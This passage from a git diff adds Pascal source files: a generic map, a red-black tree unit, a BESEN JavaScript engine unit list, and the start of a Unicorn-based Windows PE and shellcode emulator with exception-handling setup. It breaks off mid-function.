Item.Pair.Key, Action); + if Assigned(FOnValueNotify) then + FOnValueNotify(self, Item.Pair.Value, Action); +end; + +procedure TMap<TKey, TValue>.Remove(const Key: TKey); +var + Ptr: TItemTree.TRBNodePtr; +begin + Ptr := FindNodePtr(Key); + if Assigned(Ptr) then + FItems.Delete(Ptr); +end; + +procedure TMap<TKey, TValue>.&Set(const Key: TKey; const Value: TValue); +var + Ptr: TItemTree.TRBNodePtr; +begin + Ptr := FindNodePtr(Key); + if Assigned(Ptr) then + Ptr^.K.Pair.Value := Value + else + Add(Key, Value); +end; + +function TMap<TKey, TValue>.ContainsKey(const Key: TKey): boolean; +begin + Result := FindNodePtr(Key) <> nil; +end; + +function TMap<TKey, TValue>.TryGetValue(const Key: TKey; out Value: TValue): boolean; +var + Ptr: TItemTree.TRBNodePtr; +begin + Ptr := FindNodePtr(Key); + if Assigned(Ptr) then + begin + Value := Ptr^.K.Pair.Value; + exit(true); + end; + Value := Default (TValue); + exit(false); +end; + +function TMap<TKey, TValue>.TryGetKeyAndValue(const Key: TKey; out OutKey: TKey; out OutValue: TValue): boolean; +var + Ptr: TItemTree.TRBNodePtr; +begin + Ptr := FindNodePtr(Key); + if Assigned(Ptr) then + begin + OutKey := Ptr^.K.Pair.Key; + OutValue := Ptr^.K.Pair.Value; + exit(true); + end; + OutKey := Default (TKey); + OutValue := Default (TValue); + exit(false); +end; + +{ TMap<TKey, TValue>.TItem } + +constructor TMap<TKey, TValue>.TItem.Create(const K: TKey; const V: TValue; + const Owner: TMap<TKey, TValue>); +begin + self.Pair.Key := K; + self.Pair.Value := V; + self.Owner := Owner; +end; + +{ TMap<TKey, TValue>.TPairEnumerator } + +constructor TMap<TKey, TValue>.TPairEnumerator.Create( + const Map: TMap<TKey, TValue>); +begin + FMap := Map; + FNode := nil; +end; + +function TMap<TKey, TValue>.TPairEnumerator.DoGetCurrent: TPair<TKey, TValue>; +begin + Result := FNode^.K.Pair; +end; + +function TMap<TKey, TValue>.TPairEnumerator.DoMoveNext: boolean; +begin + if FNode = nil then + begin + FNode := FMap.FItems.First; + exit(FNode <> nil); + end; + Result := FMap.FItems.Next(FNode); +end; + +{ TMap<TKey, TValue>.TKeyCollection } + +constructor TMap<TKey, TValue>.TKeyCollection.Create(Map: TMap<TKey, TValue>); +begin + FMap := Map; +end; + +function TMap<TKey, TValue>.TKeyCollection.DoGetEnumerator: TEnumerator<TKey>; +begin + Result := TKeyEnumerator.Create(FMap); +end; + +{ TMap<TKey, TValue>.TValueCollection } + +constructor TMap<TKey, TValue>.TValueCollection.Create(Map: TMap<TKey, TValue>); +begin + FMap := Map; +end; + +function TMap<TKey, TValue>.TValueCollection.DoGetEnumerator: TEnumerator<TValue>; +begin + Result := TValueEnumerator.Create(FMap); +end; + +{ TMap<TKey, TValue>.TKeyEnumerator } + +constructor TMap<TKey, TValue>.TKeyEnumerator.Create( + const Map: TMap<TKey, TValue>); +begin + FPairEnum := TPairEnumerator.Create(Map); +end; + +destructor TMap<TKey, TValue>.TKeyEnumerator.Destroy; +begin + FPairEnum.Free; + inherited; +end; + +function TMap<TKey, TValue>.TKeyEnumerator.DoGetCurrent: TKey; +begin + Result := FPairEnum.DoGetCurrent.Key; +end; + +function TMap<TKey, TValue>.TKeyEnumerator.DoMoveNext: boolean; +begin + Result := FPairEnum.DoMoveNext; +end; + +{ TMap<TKey, TValue>.TValueEnumerator } + +constructor TMap<TKey, TValue>.TValueEnumerator.Create(const Map: TMap<TKey, TValue>); +begin + FPairEnum := TPairEnumerator.Create(Map); +end; + +destructor TMap<TKey, TValue>.TValueEnumerator.Destroy; +begin + FPairEnum.Free; + inherited; +end; + +function TMap<TKey, TValue>.TValueEnumerator.DoGetCurrent: TValue; +begin + Result := FPairEnum.DoGetCurrent.Value; +end; + +function TMap<TKey, TValue>.TValueEnumerator.DoMoveNext: boolean; +begin + Result := FPairEnum.DoMoveNext; +end; + +end. diff --git a/Core/PE/grbtree.pas b/Core/PE/grbtree.pas new file mode 100755 index 0000000..7d588f3 --- /dev/null +++ b/Core/PE/grbtree.pas @@ -0,0 +1,844 @@ +{ + Generic Red-Black Tree +} + +unit grbtree; + +interface + +uses + SysUtils, + Generics.Defaults, + Generics.Collections; + +Type + TNodeKind = (NODE_RED, NODE_BLACK); + + TRBTree<T> = class(TEnumerable<T>) + + { Public Types } + + public type + // oranke modified. + //TCompareLessFunc = reference to function(const A, B: T): Boolean; + TCompareLessFunc = function(const A, B: T): Boolean; + + TRBNodePtr = ^TRBNode; + PRBNodePtr = ^TRBNodePtr; + + TRBNode = record + K: T; // key + Left, Right, Parent: TRBNodePtr; // <, >, ^ + Kind: TNodeKind; // node kind + end; + private type + + { Enumerator } + + TRBTreeEnumerator = class(TEnumerator<T>) + private + FRBTree: TRBTree<T>; + FCurrentPtr: TRBNodePtr; + function GetCurrent: T; + protected + function DoGetCurrent: T; override; + function DoMoveNext: Boolean; override; + public + constructor Create(ARBTree: TRBTree<T>); + property Current: T read GetCurrent; + function MoveNext: Boolean; + end; + + private + var + // Cache (1 item). + FUseCache: Boolean; + FCacheRec: TRBNodePtr; + procedure InvalidateCache; inline; + function IsCacheValid: Boolean; inline; + function FindInCache(const Key: T; out Node: TRBNodePtr): Boolean; // inline; + procedure UpdateCache(const Key: T; Node: TRBNodePtr); // inline; + private + FRoot, FFirst, FLast: TRBNodePtr; + FCompare: TCompareLessFunc; + FCount: Integer; + + FOnNotify: TCollectionNotifyEvent<T>; + + procedure RotateLeft(var x: TRBNodePtr); + procedure RotateRight(var x: TRBNodePtr); + function Minimum(var x: TRBNodePtr): TRBNodePtr; + function Maximum(var x: TRBNodePtr): TRBNodePtr; + procedure QuickErase(x: TRBNodePtr); + procedure SetUseCache(const Value: Boolean); + protected + function DoGetEnumerator: TEnumerator<T>; override; + procedure Notify(const Item: T; Action: TCollectionNotification); virtual; + procedure ClearQuick; + procedure ClearFull; + + function DoCompareLess(const A, B: T): Boolean; virtual; + public + constructor Create(Less: TCompareLessFunc); + destructor Destroy(); override; + + procedure Clear; virtual; + + function Exists(const Key: T): Boolean; inline; // deprecated; + function ContainsKey(const Key: T): Boolean; inline; + + function Find(const Key: T): TRBNodePtr; + + // Find first item lesser than Key (or nil if none). + function FindLesser(const Key: T): TRBNodePtr; + + // Find first item gereater or equal to Key. + function FindGreaterOrEqual(const Key: T): TRBNodePtr; + + // If Cur item found, result is True. + function FindEx(const Key: T; out Prev, Cur, Next: TRBNodePtr): Boolean; overload; + function FindEx(const Key: T; Prev, Cur, Next: PRBNodePtr): Boolean; overload; + + // Add new item or return existing. + function Add(const Key: T; SendNotification: Boolean = True): TRBNodePtr; virtual; + + // Delete old key and add new key. + function Replace(const OldKey, NewKey: T): TRBNodePtr; + + // Delete + procedure Delete(z: TRBNodePtr; SendNotification: Boolean = True); overload; virtual; + + // Return True if item was found and removed. + function Remove(const Key: T; SendNotification: Boolean = True): Boolean; + + function Next(var x: TRBNodePtr): Boolean; + function Prev(var x: TRBNodePtr): Boolean; + + function GetNext(x: TRBNodePtr): TRBNodePtr; inline; + function GetPrev(x: TRBNodePtr): TRBNodePtr; inline; + + { Properites } + property Count: Integer read FCount; + property Root: TRBNodePtr read FRoot; + property First: TRBNodePtr read FFirst; + property Last: TRBNodePtr read FLast; + + property OnNotify: TCollectionNotifyEvent<T> read FOnNotify write FOnNotify; + + property UseCache: Boolean read FUseCache write SetUseCache; + end; + +implementation + +constructor TRBTree<T>.Create(Less: TCompareLessFunc); +begin + inherited Create; + FCount := 0; + FCompare := Less; + FRoot := nil; + FFirst := nil; + FLast := nil; + FUseCache := True; +end; + +function TRBTree<T>.Remove(const Key: T; SendNotification: Boolean): Boolean; +var + z: TRBNodePtr; +begin + InvalidateCache; + z := Find(Key); + if not Assigned(z) then + Exit(False); + Delete(z, SendNotification); + Exit(True); +end; + +destructor TRBTree<T>.Destroy(); +begin + ClearFull; + inherited; +end; + +function TRBTree<T>.DoCompareLess(const A, B: T): Boolean; +begin + if @FCompare = nil then + raise Exception.Create('Need comparer function') + else + Result := FCompare(A, B); +end; + +function TRBTree<T>.DoGetEnumerator: TEnumerator<T>; +begin + Result := TRBTreeEnumerator.Create(self); +end; + +function TRBTree<T>.Exists(const Key: T): Boolean; +begin + Result := Find(Key) <> nil; +end; + +procedure TRBTree<T>.QuickErase(x: TRBNodePtr); +begin + if x^.Left <> nil then + QuickErase(x^.Left); + if x^.Right <> nil then + QuickErase(x^.Right); + + Notify(x^.K, cnRemoved); + FreeMem(x); +end; + +procedure TRBTree<T>.Clear; +begin + InvalidateCache; + ClearFull; +end; + +function TRBTree<T>.IsCacheValid: Boolean; +begin + Result := FCacheRec <> nil; +end; + +procedure TRBTree<T>.InvalidateCache; +begin + FCacheRec := nil; +end; + +procedure TRBTree<T>.ClearFull; +begin + InvalidateCache; + while FCount <> 0 do + Delete(First); +end; + +procedure TRBTree<T>.ClearQuick; +begin + InvalidateCache; + if FRoot <> nil then + begin + QuickErase(FRoot); + FRoot := nil; + end; + FFirst := nil; + FLast := nil; + FCount := 0; +end; + +function TRBTree<T>.ContainsKey(const Key: T): Boolean; +begin + Result := Exists(Key); +end; + +function TRBTree<T>.Find(const Key: T): TRBNodePtr; +begin + // Try cache. + if FindInCache(Key, Result) then + Exit; + + // Normal search. + Result := FRoot; + while Result <> nil do + begin + if DoCompareLess(Result^.K, Key) then + Result := Result^.Right + else if DoCompareLess(Key, Result^.K) then + Result := Result^.Left + else + begin + // If item found, update cache. + UpdateCache(Key, Result); + break; + end; + end; +end; + +function TRBTree<T>.FindLesser(const Key: T): TRBNodePtr; +var + Cur: TRBNodePtr; +begin + Result := nil; + Cur := FRoot; + while Cur <> nil do + if FCompare(Cur^.K, Key) then + begin + Result := Cur; + Cur := Cur^.Right; + end + else + Cur := Cur^.Left; +end; + +function TRBTree<T>.FindGreaterOrEqual(const Key: T): TRBNodePtr; +var + Cur: TRBNodePtr; +begin + Result := nil; + Cur := FRoot; + while Cur <> nil do + if not FCompare(Cur^.K, Key) then + begin + Result := Cur; + Cur := Cur^.Left; + end + else + Cur := Cur^.Right; +end; + +function TRBTree<T>.FindInCache(const Key: T; out Node: TRBNodePtr): Boolean; +begin + if FUseCache and IsCacheValid then + if (not DoCompareLess(Key, FCacheRec^.K)) and + (not DoCompareLess(FCacheRec^.K, Key)) then + begin + Node := FCacheRec; + Exit(True); + end; + Exit(False); +end; + +function TRBTree<T>.FindEx(const Key: T; Prev, Cur, Next: PRBNodePtr): Boolean; +var + tPrev, tCur, tNext: TRBNodePtr; +begin + tCur := FRoot; + tPrev := nil; + tNext := nil; + Result := False; + + while tCur <> nil do + begin + if DoCompareLess(tCur^.K, Key) then + begin + tPrev := tCur; + tCur := tCur^.Right; + end + else if DoCompareLess(Key, tCur^.K) then + begin + tNext := tCur; + tCur := tCur^.Left; + end + else // Found. + begin + // Skip if not needed. + if Prev <> nil then + tPrev := GetPrev(tCur); + if Next <> nil then + tNext := GetNext(tCur); + Result := True; + break; + end; + end; + + // Store results. + if Prev <> nil then + Prev^ := tPrev; + if Cur <> nil then + Cur^ := tCur; + if Next <> nil then + Next^ := tNext; +end; + +function TRBTree<T>.FindEx(const Key: T; out Prev, Cur, Next: TRBNodePtr): Boolean; +begin + Result := False; + Cur := FRoot; + Prev := nil; + Next := nil; + while Cur <> nil do + begin + if DoCompareLess(Cur^.K, Key) then + begin + Prev := Cur; + Cur := Cur^.Right; + end + else if DoCompareLess(Key, Cur^.K) then + begin + Next := Cur; + Cur := Cur^.Left; + end + else + begin + Prev := GetPrev(Cur); + Next := GetNext(Cur); + Result := True; + break; // Found. + end; + end; +end; + +function TRBTree<T>.GetNext(x: TRBNodePtr): TRBNodePtr; +begin + Result := x; + if x <> nil then + Next(Result); +end; + +function TRBTree<T>.GetPrev(x: TRBNodePtr): TRBNodePtr; +begin + Result := x; + if x <> nil then + Prev(Result); +end; + +procedure TRBTree<T>.RotateLeft(var x: TRBNodePtr); +var + y: TRBNodePtr; +begin + y := x^.Right; + x^.Right := y^.Left; + if (y^.Left <> nil) then + y^.Left^.Parent := x; + y^.Parent := x^.Parent; + if (x = FRoot) then + FRoot := y + else if (x = x^.Parent^.Left) then + x^.Parent^.Left := y + else + x^.Parent^.Right := y; + y^.Left := x; + x^.Parent := y; +end; + +procedure TRBTree<T>.RotateRight(var x: TRBNodePtr); +var + y: TRBNodePtr; +begin + y := x^.Left; + x^.Left := y^.Right; + if (y^.Right <> nil) then + y^.Right^.Parent := x; + y^.Parent := x^.Parent; + if (x = FRoot) then + FRoot := y + else if (x = x^.Parent^.Right) then + x^.Parent^.Right := y + else + x^.Parent^.Left := y; + y^.Right := x; + x^.Parent := y; +end; + +procedure TRBTree<T>.SetUseCache(const Value: Boolean); +begin + FUseCache := Value; + InvalidateCache; +end; + +procedure TRBTree<T>.UpdateCache(const Key: T; Node: TRBNodePtr); +begin + if FUseCache then + begin + FCacheRec := Node; + end; +end; + +function TRBTree<T>.Minimum(var x: TRBNodePtr): TRBNodePtr; +begin + Result := x; + while (Result^.Left <> nil) do + Result := Result^.Left; +end; + +function TRBTree<T>.Maximum(var x: TRBNodePtr): TRBNodePtr; +begin + Result := x; + while (Result^.Right <> nil) do + Result := Result^.Right; +end; + +function TRBTree<T>.Add(const Key: T; SendNotification: Boolean = True): TRBNodePtr; +var + x, y, z, zpp: TRBNodePtr; +begin + InvalidateCache; + + z := AllocMem(sizeof(TRBNode)); + + z^.K := Key; + z^.Kind := NODE_RED; + + Result := z; + + if (FFirst = nil) or (DoCompareLess(Key, FFirst^.K)) then + FFirst := z; + + if (FLast = nil) or (DoCompareLess(FLast^.K, Key)) then + FLast := z; + + y := nil; + x := FRoot; + while (x <> nil) do + begin + y := x; + if DoCompareLess(Key, x^.K) then + x := x^.Left + else if DoCompareLess(x^.K, Key) then + x := x^.Right + else + begin + // Already exists. + // Destroy newly created item. + // Notify(z^.K, cnRemoved); + FreeMem(z); + raise Exception.Create('Duplicate key.'); + Exit; + end; + end; + + z^.Parent := y; + if (y = nil) then + FRoot := z + else if (DoCompareLess(Key, y^.K)) then + y^.Left := z + else + y^.Right := z; + + // Rebalance + while ((z <> FRoot) and (z^.Parent^.Kind = NODE_RED)) do + begin + zpp := z^.Parent^.Parent; + if (z^.Parent = zpp^.Left) then + begin + y := zpp^.Right; + if ((y <> nil) and (y^.Kind = NODE_RED)) then + begin + z^.Parent^.Kind := NODE_BLACK; + y^.Kind := NODE_BLACK; + zpp^.Kind := NODE_RED; + z := zpp; + end + else + begin + if (z = z^.Parent^.Right) then + begin + z := z^.Parent; + RotateLeft(z); + end; + z^.Parent^.Kind := NODE_BLACK; + zpp^.Kind := NODE_RED; + RotateRight(zpp); + end; + end + else + begin + y := zpp^.Left; + if ((y <> nil) and (y^.Kind = NODE_RED)) then + begin + z^.Parent^.Kind := NODE_BLACK; + y^.Kind := NODE_BLACK; + zpp^.Kind := NODE_RED; + z := zpp; + end + else + begin + if (z = z^.Parent^.Left) then + begin + z := z^.Parent; + RotateRight(z); + end; + z^.Parent^.Kind := NODE_BLACK; + zpp^.Kind := NODE_RED; + RotateLeft(zpp); + end; + end; + end; + FRoot^.Kind := NODE_BLACK; + + inc(FCount); + + if SendNotification then + Notify(Result^.K, cnAdded); +end; + +procedure TRBTree<T>.Delete(z: TRBNodePtr; SendNotification: Boolean); +var + w, x, y, x_parent: TRBNodePtr; + tmpcol: TNodeKind; + OldKey: T; +begin + InvalidateCache; + + if SendNotification then + OldKey := z^.K; // store it for notification in the end + + z^.K := Default (T); // finalize key +{$REGION 'delete'} + y := z; + x := nil; + x_parent := nil; + + if (y^.Left = nil) then + x := y^.Right + else + begin + if (y^.Right = nil) then + x := y^.Left + else + begin + y := y^.Right; + while (y^.Left <> nil) do + y := y^.Left; + x := y^.Right; + end; + end; + + if (y <> z) then + begin + z^.Left^.Parent := y; + y^.Left := z^.Left; + if (y <> z^.Right) then + begin + x_parent := y^.Parent; + if (x <> nil) then + x^.Parent := y^.Parent; + y^.Parent^.Left := x; + y^.Right := z^.Right; + z^.Right^.Parent := y; + end + else + x_parent := y; + if (FRoot = z) then + FRoot := y + else if (z^.Parent^.Left = z) then + z^.Parent^.Left := y + else + z^.Parent^.Right := y; + y^.Parent := z^.Parent; + tmpcol := y^.Kind; + y^.Kind := z^.Kind; + z^.Kind := tmpcol; + y := z; + end + else + begin { y = z } + x_parent := y^.Parent; + if (x <> nil) then + x^.Parent := y^.Parent; + if (FRoot = z) then + FRoot := x + else + begin + if (z^.Parent^.Left = z) then + z^.Parent^.Left := x + else + z^.Parent^.Right := x; + end; + if (FFirst = z) then + begin + if (z^.Right = nil) then + FFirst := z^.Parent + else + FFirst := Minimum(x); + end; + if (FLast = z) then + begin + if (z^.Left = nil) then + FLast := z^.Parent + else { x = z^.left } + FLast := Maximum(x); + end; + end; +{$ENDREGION 'delete'} +{$REGION 'rebalance'} + // Rebalance tree + if (y^.Kind = NODE_BLACK) then + begin + while ((x <> FRoot) and ((x = nil) or (x^.Kind = NODE_BLACK))) do + begin + if (x = x_parent^.Left) then + begin + w := x_parent^.Right; + if (w^.Kind = NODE_RED) then + begin + w^.Kind := NODE_BLACK; + x_parent^.Kind := NODE_RED; + RotateLeft(x_parent); + w := x_parent^.Right; + end; + if (((w^.Left = nil) or + (w^.Left^.Kind = NODE_BLACK)) and + ((w^.Right = nil) or + (w^.Right^.Kind = NODE_BLACK))) then + begin + w^.Kind := NODE_RED; + x := x_parent; + x_parent := x_parent^.Parent; + end + else + begin + if ((w^.Right = nil) or (w^.Right^.Kind = NODE_BLACK)) then + begin + w^.Left^.Kind := NODE_BLACK; + w^.Kind := NODE_RED; + RotateRight(w); + w := x_parent^.Right; + end; + w^.Kind := x_parent^.Kind; + x_parent^.Kind := NODE_BLACK; + if (w^.Right <> nil) then + w^.Right^.Kind := NODE_BLACK; + RotateLeft(x_parent); + x := FRoot; { break; } + end + end + else + begin + w := x_parent^.Left; + if (w^.Kind = NODE_RED) then + begin + w^.Kind := NODE_BLACK; + x_parent^.Kind := NODE_RED; + RotateRight(x_parent); + w := x_parent^.Left; + end; + if (((w^.Right = nil) or + (w^.Right^.Kind = NODE_BLACK)) and + ((w^.Left = nil) or + (w^.Left^.Kind = NODE_BLACK))) then + begin + w^.Kind := NODE_RED; + x := x_parent; + x_parent := x_parent^.Parent; + end + else + begin + if ((w^.Left = nil) or (w^.Left^.Kind = NODE_BLACK)) then + begin + w^.Right^.Kind := NODE_BLACK; + w^.Kind := NODE_RED; + RotateLeft(w); + w := x_parent^.Left; + end; + w^.Kind := x_parent^.Kind; + x_parent^.Kind := NODE_BLACK; + if (w^.Left <> nil) then + w^.Left^.Kind := NODE_BLACK; + RotateRight(x_parent); + x := FRoot; + end; + end; + end; + if (x <> nil) then + x^.Kind := NODE_BLACK; + end; +{$ENDREGION 'rebalance'} + dec(FCount); + + if SendNotification then + Notify(OldKey, cnRemoved); + + FreeMem(y); +end; + +function TRBTree<T>.Next(var x: TRBNodePtr): Boolean; +var + y: TRBNodePtr; +begin + if x = Last then + begin + x := nil; + Exit(False); + end; + + if (x^.Right <> nil) then + begin + x := x^.Right; + while (x^.Left <> nil) do + x := x^.Left; + end + else + begin + y := x^.Parent; + while (x = y^.Right) do + begin + x := y; + y := y^.Parent; + end; + if (x^.Right <> y) then + x := y; + end; + Exit(True); +end; + +procedure TRBTree<T>.Notify(const Item: T; Action: TCollectionNotification); +begin + if Assigned(FOnNotify) then + FOnNotify(self, Item, Action); +end; + +function TRBTree<T>.Prev(var x: TRBNodePtr): Boolean; +var + y: TRBNodePtr; +begin + if x = First then + begin + x := nil; + Exit(False); + end; + if (x^.Left <> nil) then + begin + y := x^.Left; + while (y^.Right <> nil) do + y := y^.Right; + x := y; + end + else + begin + y := x^.Parent; + while (x = y^.Left) do + begin + x := y; + y := y^.Parent; + end; + x := y; + end; + Exit(True); +end; + +function TRBTree<T>.Replace(const OldKey, NewKey: T): TRBNodePtr; +begin + InvalidateCache; + Remove(OldKey); + Result := Add(NewKey); +end; + +{ TRBTree<T>.TValueEnumerator } + +constructor TRBTree<T>.TRBTreeEnumerator.Create(ARBTree: TRBTree<T>); +begin + inherited Create; + FCurrentPtr := nil; + FRBTree := ARBTree; +end; + +function TRBTree<T>.TRBTreeEnumerator.DoGetCurrent: T; +begin + Result := GetCurrent; +end; + +function TRBTree<T>.TRBTreeEnumerator.DoMoveNext: Boolean; +begin + Result := MoveNext; +end; + +function TRBTree<T>.TRBTreeEnumerator.GetCurrent: T; +begin + Result := FCurrentPtr^.K; +end; + +function TRBTree<T>.TRBTreeEnumerator.MoveNext: Boolean; +begin + if not Assigned(FCurrentPtr) then + begin + FCurrentPtr := FRBTree.First; + Exit(Assigned(FCurrentPtr)); + end + else if (FCurrentPtr <> FRBTree.Last) then + begin + FRBTree.Next(FCurrentPtr); + Exit(True); + end; + Exit(False); +end; + +end. diff --git a/Core/besenunits.inc b/Core/besenunits.inc new file mode 100644 index 0000000..d9db448 --- /dev/null +++ b/Core/besenunits.inc @@ -0,0 +1,93 @@ + BESEN, + BESENCodeSnapshot, + BESENVersionConstants, + BESENConstants, + BESENValueContainer, + BESENUnicodeTables, + BESENStringUtils, + BESENStringTree, + BESENStringList, + BESENSelfBalancedTree, + BESENScope, + BESENRegExpCache, + BESENRandomGenerator, + BESENPointerSelfBalancedTree, + BESENPointerList, + BESENParser, + BESENOpcodes, + BESENObjectThrowTypeErrorFunction, + BESENObjectStringPrototype, + BESENObjectStringConstructor, + BESENObjectString, + BESENObjectRegExpPrototype, + BESENObjectRegExpConstructor, + BESENObjectRegExp, + BESENObjectPrototype, + BESENObjectPropertyDescriptor, + BESENObjectNumberPrototype, + BESENObjectNumberConstructor, + BESENObjectNumber, + BESENObjectNativeFunction, + BESENObjectMath, + BESENObjectJSON, + BESENObjectGlobal, + BESENObjectFunctionPrototype, + BESENObjectFunctionConstructor, + BESENObjectFunctionArguments, + BESENObjectFunction, + BESENObjectErrorPrototype, + BESENObjectErrorConstructor, + BESENObjectError, + BESENObjectEnvironmentRecord, + BESENObjectDeclaredFunction, + BESENObjectDatePrototype, + BESENObjectDateConstructor, + BESENObjectDate, + BESENObjectConstructor, + BESENObjectBooleanPrototype, + BESENObjectBooleanConstructor, + BESENObjectBoolean, + BESENObjectBindingFunction, + BESENObjectArrayPrototype, + BESENObjectArrayConstructor, + BESENObjectArray, + BESENObjectArgSetterFunction, + BESENObjectArgGetterFunction, + BESENObject, + BESENNumberUtils, + BESENNativeObject, + BESENNativeCodeMemoryManager, + BESENLocale, + BESENLexicalEnvironment, + BESENLexer, + BESENKeyIDManager, + BESENIntegerList, + BESENInt64SelfBalancedTree, + BESENHashUtils, + BESENHashMap, + BESENGlobals, + BESENGarbageCollector, + BESENEvalCacheItem, + BESENEvalCache, + BESENErrors, + BESENEnvironmentRecord, + BESENDoubleList, + BESENDecompiler, + BESENDeclarativeEnvironmentRecord, + BESENDateUtils, + BESENCompiler, + BESENCollectorObject, + BESENCollector, + BESENCharset, + BESENBaseObject, + BESENArrayUtils, + BESENTypes, + BESENUtils, + BESENValue, + BESENRegExp, + BESENCode, + BESENASTNodes, + BESENCodeContext, + BESENCodeGeneratorContext, + BESENContext, + BESENObjectConsole diff --git a/Core/emu.pas b/Core/emu.pas new file mode 100644 index 0000000..7dc4ff5 --- /dev/null +++ b/Core/emu.pas @@ -0,0 +1,1124 @@ +unit Emu; + +{$IFDEF FPC} + {$MODE Delphi} + {$PackRecords C} +{$ENDIF} + +interface + +uses + Classes, SysUtils,cmem,Crt, + strutils,LazUTF8,math, + Unicorn_dyn , UnicornConst, X86Const, + Capstone, + Segments,Utils,PE_loader, + PE.Image, + PE.Section, + PE.ExportSym, + FnHook,TEP_PEB, + {$i besenunits.inc}, + Generics.Collections,EThreads; + +type + TLibs = TFastHashMap<String, TNewDll>; + + TOnExit = TFastHashMap<DWORD, THookFunction>; + + THookByName = TFastHashMap<String, THookFunction>; + THookByOrdinal = TFastHashMap<DWORD, THookFunction>; + + THooks = record + ByName : THookByName; + ByOrdinal : THookByOrdinal; + end; + +{ TEmu } + TEmu = class + private + CPU_MODE : uc_mode; + FilePath, Shellcode : String; + Is_x64, IsSC, Stop_Emu : Boolean; + + Ferr : uc_err; + + // Segments things :D . + gdt : PSegmentDescriptor; + gdt_address, + TEB_Address, + PEB_address, + fs_address, + gs_address : UInt64; + gdtr : uc_x86_mmr; + + // x32 registers . + r_eax,r_ecx,r_edx,r_ebx,r_esp,r_ebp,r_esi,r_edi,r_eip : DWORD; + // x64 registers . + r_rax,r_rcx,r_rdx,r_rbx,r_rsp,r_rbp,r_rsi,r_rdi,r_rip : UInt64; + + PE,SCode : TMemoryStream; + MapedPE : Pointer; + + // Handle Dlls and it's Memory . + FLibs : TLibs; + FHooks : THookByName; + + OnExitList : TOnExit; + public + LastGoodPC : UInt64; + Flags : TFlags; + r_cs,r_ss,r_ds,r_es,r_fs,r_gs : DWORD; + + MemFix : TStack<UInt64>; + + RunOnDll, IsException : Boolean; + SEH_Handler : Int64; + + DLL_BASE_LOAD, + DLL_NEXT_LOAD : UInt64; + + stack_size : Cardinal; + stack_base,stack_limit : UInt64; + + Img: TPEImage; + uc : uc_engine; + + Hooks : THooks; + + property TEB : UInt64 read TEB_Address write TEB_Address; + property Libs : TLibs read FLibs write FLibs; + property PE_x64 : boolean read Is_x64; + property isShellCode : Boolean read IsSC write IsSC; + property Stop : boolean read Stop_Emu write Stop_Emu; + property err : uc_err read Ferr write Ferr; + + procedure SetHooks(); + function MapPEtoUC() : Boolean; + procedure Start(); + procedure ResetEFLAGS(); + function init_segments() : boolean; + function GetGDT(index : Integer): Pointer; + constructor Create(_FilePath : string; _Shellcode, SCx64 : Boolean); virtual; + destructor Destroy(); override; + end; + +var + Ident : Cardinal = 0; + lastExceptionHandler : UInt64 = 0; + +implementation + uses + Globals,NativeHooks; + +function Handle_SEH(uc : uc_engine; ExceptionCode : DWORD): Boolean; +var + ZwContinue , PC , Zer0 , Old_ESP , New_ESP : UInt64; + SEH , SEH_Handler : Int64; + i : UInt32; + // TODO : x64 EXCEPTION_RECORD & CONTEXT ... + ExceptionRecord : EXCEPTION_RECORD_32; + ContextRecord : CONTEXT_32; + + ExceptionRecord_Addr , ContextRecord_Addr : UInt64; +begin + SEH := 0; PC := 0; ZwContinue := 0; Zer0 := 0; Old_ESP := 0; New_ESP := 0; + + Emulator.err := uc_reg_read(uc, ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP), @Old_ESP); + + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + ZwContinue := Utils.GetProcAddr(Utils.GetModulehandle('ntdll'),'ZwContinue'); + + SEH := ReadDword(Emulator.TEB); + if Emulator.err <> UC_ERR_OK then + Exit(False); + + if (SEH = 0) or + (SEH = $FFFFFFFFFFFFFFFF) then + Exit(False); + + SEH_Handler := ReadDword(SEH+4); + if Emulator.err <> UC_ERR_OK then + Exit(False); + + if (SEH_Handler = 0) or + (SEH_Handler = $FFFFFFFF) then + Exit(False); + + + Emulator.SEH_Handler := SEH_Handler; + + if SEH_Handler <> lastExceptionHandler then + lastExceptionHandler := SEH_Handler + else + begin + // TODO: walk the SEH Chain . + end; + + if VerboseExcp then + begin + TextColor(Yellow); + Writeln(Format('0x%x Exception caught SEH 0x%x - Handler 0x%x',[PC,SEH,SEH_Handler])); + NormVideo; + end; + + // Space for the "EXCEPTION_POINTERS" . + for i := 0 to Pred(376) do + begin + Utils.push(0); + end; + + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RSP,UC_X86_REG_ESP), @New_ESP); + + Initialize(ExceptionRecord); + FillByte(ExceptionRecord,SizeOf(ExceptionRecord),0); + ExceptionRecord.ExceptionCode := ExceptionCode; + ExceptionRecord.ExceptionFlags := 0; + ExceptionRecord.ExceptionRecord := 0; + ExceptionRecord.ExceptionAddress := PC; + ExceptionRecord.NumberParameters := 0; // TODO . + + Initialize(ContextRecord); + FillByte(ContextRecord,SizeOf(ContextRecord),0); + ContextRecord.ContextFlags := $1007F; // taken from Debuggers while testing :D // + // TODO : Save FLOATING_SAVE_AREA .. + ContextRecord.SegGs := Emulator.r_gs; + ContextRecord.SegFs := Emulator.r_fs; + ContextRecord.SegEs := Emulator.r_es; + ContextRecord.SegDs := Emulator.r_ds; + + ContextRecord.Edi := reg_read_x32(uc,UC_X86_REG_EDI); + ContextRecord.Esi := reg_read_x32(uc,UC_X86_REG_ESI); + ContextRecord.Ebx := reg_read_x32(uc,UC_X86_REG_EBX); + ContextRecord.Edx := reg_read_x32(uc,UC_X86_REG_EDX); + ContextRecord.Ecx := reg_read_x32(uc,UC_X86_REG_ECX); + ContextRecord.Eax := reg_read_x32(uc,UC_X86_REG_EAX); + ContextRecord.Ebp := reg_read_x32(uc,UC_X86_REG_EBP); + ContextRecord.Eip := DWORD(Emulator.LastGoodPC); + ContextRecord.SegCs := Emulator.r_cs; + ContextRecord.EFlags := DWORD(reg_read_x64(uc,UC_X86_REG_EFLAGS)); + ContextRecord.Esp := Old_ESP; + ContextRecord.SegSs := Emulator.r_ss; + + ExceptionRecord_Addr := New_ESP + 32; + ContextRecord_Addr := ExceptionRecord_Addr + SizeOf(EXCEPTION_RECORD_32); + + Emulator.err := uc_mem_write_(uc,ExceptionRecord_Addr,@ExceptionRecord,SizeOf(ExceptionRecord)); + + Emulator.err := uc_mem_write_(uc,ContextRecord_Addr,@ContextRecord,SizeOf(ContextRecord)); + + Utils.push(ContextRecord_Addr); // ContextRecord .. + Utils.push(Old_ESP); + Utils.push(ExceptionRecord_Addr); // 